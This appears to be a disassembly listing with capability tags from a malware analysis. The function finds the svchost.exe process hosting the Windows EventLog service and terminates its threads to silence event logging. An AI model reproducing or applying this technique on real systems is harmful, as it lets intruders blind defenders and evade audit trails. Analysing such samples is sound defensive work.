Function at 0x140001470
Capabilities:
Enumerate threads
Query service status
Terminate thread

Disassembly:
push r15
push r14
push r13
push r12
push rsi
push rdi
push rbp
push rbx
sub rsp, 0xf8
movaps xmmword [rsp + 0xe0], xmm6
mov rax, qword [0x140027040]
xor rax, rsp
mov qword [rsp + 0xd8], rax
lea rcx, [0x140021bdd]
xor edx, edx
mov r8d, 0x2000000
call qword [sym.imp.ADVAPI32.dll_OpenSCManagerA]
lea rdx, str.EventLog
mov rcx, rax
mov r8d, 0x2000000
call qword [sym.imp.ADVAPI32.dll_OpenServiceA]
xorps xmm0, xmm0
movaps xmmword [rsp + 0xc0], xmm0
movaps xmmword [rsp + 0xb0], xmm0
mov dword [rsp + 0xd0], 0
mov dword [rsp + 0xac], 0
lea rcx, [rsp + 0xac]
mov qword [rsp + 0x20], rcx
lea r8, [rsp + 0xb0]
mov rcx, rax
xor edx, edx
mov r9d, 0x24
call qword [sym.imp.ADVAPI32.dll_QueryServiceStatusEx]
test eax, eax
je 0x140001704
mov edi, dword [rsp + 0xcc]
lea rcx, str._n___Targeting_svchost.exe_hosting_eventlog_service_with_PID:__d_n
mov edx, edi
call fcn.1400010d0
lea rcx, str.kernel32.dll
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
lea rdx, str.OpenProcess
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov ecx, 0x10
xor edx, edx
mov r8d, edi
call rax
test rax, rax
je 0x140001713
mov rbx, rax
mov dword [rsp + 0x54], 0
mov qword [rsp + 0x48], 0
mov ecx, 4
xor edx, edx
call sub.KERNEL32.dll_CreateToolhelp32Snapshot
mov esi, 0xffffffff
cmp rax, 0xffffffffffffffff
je 0x14000172c
mov r14, rax
mov dword [rsp + 0x90], 0x1c
lea rdx, [rsp + 0x90]
mov rcx, rax
call sub.KERNEL32.dll_Thread32First
test eax, eax
je 0x14000177b
xor r12d, r12d
xorps xmm6, xmm6
mov r13, qword [sym.imp.KERNEL32.dll_CloseHandle]
lea rbp, [rsp + 0x90]
jmp 0x1400015fa
lea rcx, str._tTerminated_
call fcn.140008d94
inc r12d
mov rcx, r15
call r13
mov rcx, r14
mov rdx, rbp
call sub.KERNEL32.dll_Thread32Next
test eax, eax
je 0x14000175a
cmp dword [rsp + 0x9c], edi
jne 0x1400015e7
mov r8d, dword [rsp + 0x98]
mov ecx, 0x1fffff
xor edx, edx
call qword [sym.imp.KERNEL32.dll_OpenThread]
test rax, rax
je 0x14000179a
mov r15, rax
mov qword [rsp + 0x20], 0
mov rcx, rax
xor edx, edx
lea r8, [rsp + 0x58]
mov r9d, 0x38
call qword [0x140027bc0]
mov rcx, rbx
lea rdx, [rsp + 0x54]
call qword [sym.imp.KERNEL32.dll_IsWow64Process]
mov dword [rsp + 0x54], eax
mov edx, 0x1720
test eax, eax
je 0x140001663
mov edx, 0xf60
add rdx, qword [rsp + 0x60]
mov qword [rsp + 0x20], 0
mov r9d, 8
mov rcx, rbx
lea r8, [rsp + 0x48]
call qword [sym.imp.KERNEL32.dll_ReadProcessMemory]
movaps xmmword [rsp + 0x30], xmm6
mov qword [rsp + 0x40], 0
mov rax, qword [0x140027bb8]
test rax, rax
je 0x1400015e1
mov dword [rsp + 0x30], edi
mov ecx, dword [rsp + 0x48]
mov dword [rsp + 0x34], ecx
mov qword [rsp + 0x40], 0
xor ecx, ecx
mov edx, 1
lea r8, [rsp + 0x30]
call rax
mov edx, dword [rsp + 0x98]
lea rcx, str.___Thread_FOUND:_TID_____d
call fcn.1400010d0
mov rcx, r15
xor edx, edx
call qword [sym.imp.KERNEL32.dll_TerminateThread]
test eax, eax
jne 0x1400015d2
mov edx, dword [rsp + 0x98]
lea rcx, str._n____Failed_to_terminate_EventLog_thread__TID:__d____n
call fcn.1400010d0
jmp 0x1400015e1
call qword [sym.imp.KERNEL32.dll_GetLastError]
lea rcx, str.____Unable_to_get_PID_of_svchost.exe_that_hosts_EventLog_service___u__n
jmp 0x140001720
call qword [sym.imp.KERNEL32.dll_GetLastError]
lea rcx, str.____Failed_to_get_a_handle_to_svchost.exe_that_hosts_EventLog_service___u__n
mov edx, eax
call fcn.1400010d0
mov esi, 0xffffffff
mov rcx, qword [rsp + 0xd8]
xor rcx, rsp
call fcn.140002520
mov eax, esi
movaps xmm6, xmmword [rsp + 0xe0]
add rsp, 0xf8
pop rbx
pop rbp
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
ret
mov rcx, r14
call r13
mov rcx, rbx
call r13
xor esi, esi
test r12d, r12d
jne 0x14000172c
lea rcx, str.___Event_Logger_is_Either_NOT_running_or_Already_Killed_Previously_
call fcn.140008d94
jmp 0x14000172c
call qword [sym.imp.KERNEL32.dll_GetLastError]
lea rcx, str.Thread32First___and_we_died___u__n
mov edx, eax
call fcn.1400010d0
mov rcx, r14
call qword [sym.imp.KERNEL32.dll_CloseHandle]
jmp 0x14000172c
call qword [sym.imp.KERNEL32.dll_GetLastError]
lea rcx, str.____Failed_to_get_a_handle_to_one_of_EventLog_service_Threads___u__n
mov edx, eax
call fcn.1400010d0
jmp 0x14000172c